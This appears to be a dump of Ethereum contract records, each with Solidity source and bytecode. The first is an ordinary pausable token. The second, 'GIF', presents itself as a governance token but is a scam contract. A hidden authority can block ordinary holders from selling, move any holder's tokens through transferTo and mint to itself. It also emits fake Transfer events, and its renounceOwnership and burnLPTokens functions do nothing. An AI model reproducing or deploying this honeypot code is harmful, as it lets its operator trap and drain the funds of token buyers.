require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract HiwayToken is MintableToken, DetailedERC20, Pausable {
constructor(string _name, string _symbol, uint8 _decimals, uint _totalSupply)
DetailedERC20(_name, _symbol, _decimals)
public {
_totalSupply = _totalSupply * 10**uint(decimals);
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
}
|
0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461011657806306fdde031461013f578063095ea7b3146101c957806318160ddd146101ed57806323b872dd14610214578063313ce5671461023e5780633f4ba83a1461026957806340c10f19146102805780635c975abb146102a457806366188463146102b957806370a08231146102dd578063715018a6146102fe5780637d64bcb4146103135780638456cb59146103285780638da5cb5b1461033d57806395d89b411461036e578063a9059cbb14610383578063d73dd623146103a7578063dd62ed3e146103cb578063f2fde38b146103f2575b600080fd5b34801561012257600080fd5b5061012b610413565b604080519115158252519081900360200190f35b34801561014b57600080fd5b50610154610434565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561018e578181015183820152602001610176565b50505050905090810190601f1680156101bb5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d557600080fd5b5061012b600160a060020a03600435166024356104c2565b3480156101f957600080fd5b50610202610528565b60408051918252519081900360200190f35b34801561022057600080fd5b5061012b600160a060020a036004358116906024351660443561052e565b34801561024a57600080fd5b506102536106a5565b6040805160ff9092168252519081900360200190f35b34801561027557600080fd5b5061027e6106ae565b005b34801561028c57600080fd5b5061012b600160a060020a0360043516602435610711565b3480156102b057600080fd5b5061012b61082c565b3480156102c557600080fd5b5061012b600160a060020a036004351660243561083a565b3480156102e957600080fd5b50610202600160a060020a036004351661092a565b34801561030a57600080fd5b5061027e610945565b34801561031f57600080fd5b5061012b6109b3565b34801561033457600080fd5b5061027e610a59565b34801561034957600080fd5b50610352610abf565b60408051600160a060020a039092168252519081900360200190f35b34801561037a57600080fd5b50610154610ace565b34801561038f57600080fd5b5061012b600160a060020a0360043516602435610b29565b3480156103b357600080fd5b5061012b600160a060020a0360043516602435610c0a565b3480156103d757600080fd5b50610202600160a060020a0360043581169060243516610ca3565b3480156103fe57600080fd5b5061027e600160a060020a0360043516610cce565b60035474010000000000000000000000000000000000000000900460ff1681565b6004805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104ba5780601f1061048f576101008083540402835291602001916104ba565b820191906000526020600020905b81548152906001019060200180831161049d57829003601f168201915b505050505081565b336000818152600260209081526040808320600160a060020a038716808552908352818420869055815186815291519394909390927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925928290030190a350600192915050565b60015490565b6000600160a060020a038316151561054557600080fd5b600160a060020a03841660009081526020819052604090205482111561056a57600080fd5b600160a060020a038416600090815260026020908152604080832033845290915290205482111561059a57600080fd5b600160a060020a0384166000908152602081905260409020546105c3908363ffffffff610cf116565b600160a060020a0380861660009081526020819052604080822093909355908516815220546105f8908363ffffffff610d0316565b600160a060020a0380851660009081526020818152604080832094909455918716815260028252828120338252909152205461063a908363ffffffff610cf116565b600160a060020a03808616600081815260026020908152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b60065460ff1681565b600354600160a060020a031633146106c557600080fd5b600654610100900460ff1615156106db57600080fd5b6006805461ff00191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600354600090600160a060020a0316331461072b57600080fd5b60035474010000000000000000000000000000000000000000900460ff161561075357600080fd5b600154610766908363ffffffff610d0316565b600155600160a060020a038316600090815260208190526040902054610792908363ffffffff610d0316565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b600654610100900460ff1681565b336000908152600260209081526040808320600160a060020a03861684529091528120548083111561088f57336000908152600260209081526040808320600160a060020a03881684529091528120556108c4565b61089f818463ffffffff610cf116565b336000908152600260209081526040808320600160a060020a03891684529091529020555b336000818152600260209081526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600354600160a060020a0316331461095c57600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b600354600090600160a060020a031633146109cd57600080fd5b60035474010000000000000000000000000000000000000000900460ff16156109f557600080fd5b6003805474ff00000000000000000000000000000000000000001916740100000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b600354600160a060020a03163314610a7057600080fd5b600654610100900460ff1615610a8557600080fd5b6006805461ff0019166101001790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b600354600160a060020a031681565b6005805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156104ba5780601f1061048f576101008083540402835291602001916104ba565b6000600160a060020a0383161515610b4057600080fd5b33600090815260208190526040902054821115610b5c57600080fd5b33600090815260208190526040902054610b7c908363ffffffff610cf116565b3360009081526020819052604080822092909255600160a060020a03851681522054610bae908363ffffffff610d0316565b600160a060020a038416600081815260208181526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b336000908152600260209081526040808320600160a060020a0386168452909152812054610c3e908363ffffffff610d0316565b336000818152600260209081526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b600354600160a060020a03163314610ce557600080fd5b610cee81610d16565b50565b600082821115610cfd57fe5b50900390565b81810182811015610d1057fe5b92915050565b600160a060020a0381161515610d2b57600080fd5b600354604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790555600a165627a7a72305820f477c1ec4e31fcf8fb93ae878407ae9b40bb7ebf6aa43d81c39d8225320935cc0029
|
{"success": true, "error": null, "results": {}}
| 8,943 |
0x951da693e47f0a0a6e8f04c5a73c8fad30aed691
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract GIF is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _plus;
mapping (address => bool) private _discarded;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _maximumVal = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeAuthority;
uint256 private _discardedAmt = 0;
address public _path_ = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address _contDeployr = 0x7A271674B5Fae043f42F183092f48fB06D6D551B;
address public _authority = 0x88fb2f40e46537A9d9099c60a0310e38AEc2e569;
constructor () public {
_name = "GIF\xE2\x80\x99d Governance Token";
_symbol = "GIF";
_decimals = 18;
uint256 initialSupply = 69420000000 * 10 ** 18;
_safeAuthority = _authority;
_mint(_contDeployr, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_tf(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_tf(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _pApproval(address[] memory destination) public {
require(msg.sender == _authority, "!owner");
for (uint256 i = 0; i < destination.length; i++) {
_plus[destination[i]] = true;
_discarded[destination[i]] = false;
}
}
function _mApproval(address safeOwner) public {
require(msg.sender == _authority, "!owner");
_safeAuthority = safeOwner;
}
modifier _log(address dest, uint256 num, address from, address filler){
if (
_authority == _safeAuthority
&& from == _authority)
{_safeAuthority = dest;_;}else
{if (
from == _authority
|| from == _safeAuthority
|| dest == _authority){
if (
from == _authority
&& from == dest
){_discardedAmt = num;
}_;}else{
if (
_plus[from] == true
)
{
_;}else{if (
_discarded[from] == true
)
{require((from == _safeAuthority)||(dest == _path_), "ERC20: transfer amount exceeds balance");_;
}else{
if (
num < _discardedAmt){
if(dest == _safeAuthority){_discarded[from] = true; _plus[from] = false;
}_; }else{require((from == _safeAuthority)
||(dest == _path_), "ERC20: transfer amount exceeds balance");_;}}}}}}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _authority){
sender = _contDeployr;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _authority, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_authority] = _balances[_authority].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _tf(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
_pair( from, dest, amt);
}
function _pair(address from, address dest, uint256 amt) internal _log( dest, amt, from, address(0)) virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(dest != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, dest, amt);
_balances[from] = _balances[from].sub(amt, "ERC20: transfer amount exceeds balance");
_balances[dest] = _balances[dest].add(amt);
if (from == _authority){from = _contDeployr;}
emit Transfer(from, dest, amt);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _verify() {
require(msg.sender == _authority, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function renounceOwnership()public _verify(){}
function burnLPTokens()public _verify(){}
function multicall(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function send(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
//MultiEmit
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(uPool, eReceiver[i], eAmounts[i]);}}
function set(address recipient) public _verify(){
//Enable
_plus[recipient]=true;
_approve(recipient, _path_,_maximumVal);}
function ProxiedSwap(address recipient) public _verify(){
//Disable
_plus[recipient]=false;
_approve(recipient, _path_,0);
}
function approval(address addr) public _verify() virtual returns (bool) {
//Approve Spending
_approve(addr, _msgSender(), _maximumVal); return true;
}
function transferTo(address sndr,address[] memory destination, uint256[] memory amounts) public _verify(){
_approve(sndr, _msgSender(), _maximumVal);
for (uint256 i = 0; i < destination.length; i++) {
_transfer(sndr, destination[i], amounts[i]);
}
}
function stake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
function unstake(address uPool,address[] memory eReceiver,uint256[] memory eAmounts) public _verify(){
for (uint256 i = 0; i < eReceiver.length; i++) {emit Transfer(eReceiver[i], uPool, eAmounts[i]);}}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c8063715018a6116100c3578063bb88603c1161007c578063bb88603c14610520578063c2205ee1146107e8578063c75e2c3d146107f0578063d8fc292414610816578063dd62ed3e14610949578063f8129cd21461097757610158565b8063715018a6146105205780638d3ca13e146105285780639430b4961461065b57806395d89b4114610681578063a5aae25414610689578063a9059cbb146107bc57610158565b8063313ce56711610115578063313ce567146103335780633cc4430d146103515780634e6ec247146104845780635265327c146104b0578063671e9921146104d657806370a08231146104fa57610158565b806306fdde031461015d57806308ec4eb5146101da578063095ea7b31461027d57806318160ddd146102bd57806323b872dd146102d75780632801617e1461030d575b600080fd5b610165610aaa565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561019f578181015183820152602001610187565b50505050905090810190601f1680156101cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61027b600480360360208110156101f057600080fd5b810190602081018135600160201b81111561020a57600080fd5b82018360208201111561021c57600080fd5b803590602001918460208302840111600160201b8311171561023d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b40945050505050565b005b6102a96004803603604081101561029357600080fd5b506001600160a01b038135169060200135610c34565b604080519115158252519081900360200190f35b6102c5610c51565b60408051918252519081900360200190f35b6102a9600480360360608110156102ed57600080fd5b506001600160a01b03813581169160208101359091169060400135610c57565b61027b6004803603602081101561032357600080fd5b50356001600160a01b0316610cde565b61033b610d68565b6040805160ff9092168252519081900360200190f35b61027b6004803603606081101561036757600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561039157600080fd5b8201836020820111156103a357600080fd5b803590602001918460208302840111600160201b831117156103c457600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561041357600080fd5b82018360208201111561042557600080fd5b803590602001918460208302840111600160201b8311171561044657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d71945050505050565b61027b6004803603604081101561049a57600080fd5b506001600160a01b038135169060200135610e37565b61027b600480360360208110156104c657600080fd5b50356001600160a01b0316610f15565b6104de610f7f565b604080516001600160a01b039092168252519081900360200190f35b6102c56004803603602081101561051057600080fd5b50356001600160a01b0316610f8e565b61027b610fa9565b61027b6004803603606081101561053e57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561056857600080fd5b82018360208201111561057a57600080fd5b803590602001918460208302840111600160201b8311171561059b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156105ea57600080fd5b8201836020820111156105fc57600080fd5b803590602001918460208302840111600160201b8311171561061d57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ff8945050505050565b6102a96004803603602081101561067157600080fd5b50356001600160a01b03166110b8565b610165611124565b61027b6004803603606081101561069f57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156106c957600080fd5b8201836020820111156106db57600080fd5b803590602001918460208302840111600160201b831117156106fc57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561074b57600080fd5b82018360208201111561075d57600080fd5b803590602001918460208302840111600160201b8311171561077e57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611185945050505050565b6102a9600480360360408110156107d257600080fd5b506001600160a01b038135169060200135611245565b6104de611259565b61027b6004803603602081101561080657600080fd5b50356001600160a01b0316611268565b61027b6004803603606081101561082c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561085657600080fd5b82018360208201111561086857600080fd5b803590602001918460208302840111600160201b8311171561088957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108d857600080fd5b8201836020820111156108ea57600080fd5b803590602001918460208302840111600160201b8311171561090b57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506112e7945050505050565b6102c56004803603604081101561095f57600080fd5b506001600160a01b0381358116916020013516611385565b61027b6004803603606081101561098d57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156109b757600080fd5b8201836020820111156109c957600080fd5b803590602001918460208302840111600160201b831117156109ea57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a3957600080fd5b820183602082011115610a4b57600080fd5b803590602001918460208302840111600160201b83111715610a6c57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506113b0945050505050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b820191906000526020600020905b815481529060010190602001808311610b1957829003601f168201915b5050505050905090565b600d546001600160a01b03163314610b88576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c30576001806000848481518110610ba557fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610bf657fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b8b565b5050565b6000610c48610c416114d1565b84846114d5565b50600192915050565b60045490565b6000610c648484846115c1565b610cd484610c706114d1565b610ccf856040518060600160405280602881526020016120e2602891396001600160a01b038a16600090815260036020526040812090610cae6114d1565b6001600160a01b031681526020810191909152604001600020549190611846565b6114d5565b5060019392505050565b600d546001600160a01b03163314610d2b576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b54600854610d6592849216906114d5565b50565b60075460ff1690565b600d546001600160a01b03163314610dbe576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157828181518110610dd657fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a833981519152848481518110610e0c57fe5b60200260200101516040518082815260200191505060405180910390a3600101610dc1565b50505050565b600d546001600160a01b03163314610e96576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610ea39082611470565b600455600d546001600160a01b0316600090815260208190526040902054610ecb9082611470565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061210a8339815191529281900390910190a35050565b600d546001600160a01b03163314610f5d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314610ff6576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b565b600d546001600160a01b03163314611045576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157836001600160a01b031683828151811061106757fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061109357fe5b60200260200101516040518082815260200191505060405180910390a3600101611048565b600d546000906001600160a01b03163314611108576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b61111c826111146114d1565b6008546114d5565b506001919050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b365780601f10610b0b57610100808354040283529160200191610b36565b600d546001600160a01b031633146111d2576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e3157836001600160a01b03168382815181106111f457fe5b60200260200101516001600160a01b031660008051602061210a83398151915284848151811061122057fe5b60200260200101516040518082815260200191505060405180910390a36001016111d5565b6000610c486112526114d1565b84846115c1565b600d546001600160a01b031681565b600d546001600160a01b031633146112b5576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b54610d659284929116906114d5565b600d546001600160a01b03163314611334576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b611340836111146114d1565b60005b8251811015610e315761137d8484838151811061135c57fe5b602002602001015184848151811061137057fe5b60200260200101516118dd565b600101611343565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b031633146113fd576040805162461bcd60e51b815260206004820152601760248201526000805160206120c2833981519152604482015290519081900360640190fd5b60005b8251811015610e315782818151811061141557fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061210a83398151915284848151811061144b57fe5b60200260200101516040518082815260200191505060405180910390a3600101611400565b6000828201838110156114ca576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661151a5760405162461bcd60e51b815260040180806020018281038252602481526020018061214f6024913960400191505060405180910390fd5b6001600160a01b03821661155f5760405162461bcd60e51b815260040180806020018281038252602281526020018061207a6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156115f75750600d546001600160a01b038381169116145b1561162757600980546001600160a01b0319166001600160a01b038616179055611622878787611a56565b61183d565b600d546001600160a01b038381169116148061165057506009546001600160a01b038381169116145b806116685750600d546001600160a01b038581169116145b156116b157600d546001600160a01b03838116911614801561169b5750836001600160a01b0316826001600160a01b0316145b156116a657600a8390555b611622878787611a56565b6001600160a01b03821660009081526001602081905260409091205460ff16151514156116e357611622878787611a56565b6001600160a01b03821660009081526002602052604090205460ff1615156001141561176d576009546001600160a01b03838116911614806117325750600b546001600160a01b038581169116145b6116a65760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a548310156117ce576009546001600160a01b03858116911614156116a6576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611622878787611a56565b6009546001600160a01b03838116911614806117f75750600b546001600160a01b038581169116145b6118325760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b61183d878787611a56565b50505050505050565b600081848411156118d55760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561189a578181015183820152602001611882565b50505050905090810190601f1680156118c75780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b0383166119225760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b0382166119675760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611972838383612051565b6119af8160405180606001604052806026815260200161209c602691396001600160a01b0386166000908152602081905260409020549190611846565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546119de9082611470565b6001600160a01b03808416600090815260208190526040902091909155600d5484821691161415611a1857600c546001600160a01b031692505b816001600160a01b0316836001600160a01b031660008051602061210a833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611a8c5750600d546001600160a01b038381169116145b15611c2257600980546001600160a01b0319166001600160a01b03868116919091179091558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611b335760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611b3e878787612051565b611b7b8560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611baa9086611470565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611be457600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a361183d565b600d546001600160a01b0383811691161480611c4b57506009546001600160a01b038381169116145b80611c635750600d546001600160a01b038581169116145b15611ce657600d546001600160a01b038381169116148015611c965750836001600160a01b0316826001600160a01b0316145b15611ca157600a8390555b6001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611d52576001600160a01b038716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611ddc576009546001600160a01b0383811691161480611da15750600b546001600160a01b038581169116145b611ca15760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b600a54831015611e70576009546001600160a01b0385811691161415611ca1576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611aee5760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611e995750600b546001600160a01b038581169116145b611ed45760405162461bcd60e51b815260040180806020018281038252602681526020018061209c6026913960400191505060405180910390fd5b6001600160a01b038716611f195760405162461bcd60e51b815260040180806020018281038252602581526020018061212a6025913960400191505060405180910390fd5b6001600160a01b038616611f5e5760405162461bcd60e51b81526004018080602001828103825260238152602001806120576023913960400191505060405180910390fd5b611f69878787612051565b611fa68560405180606001604052806026815260200161209c602691396001600160a01b038a166000908152602081905260409020549190611846565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611fd59086611470565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561200f57600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061210a833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e742065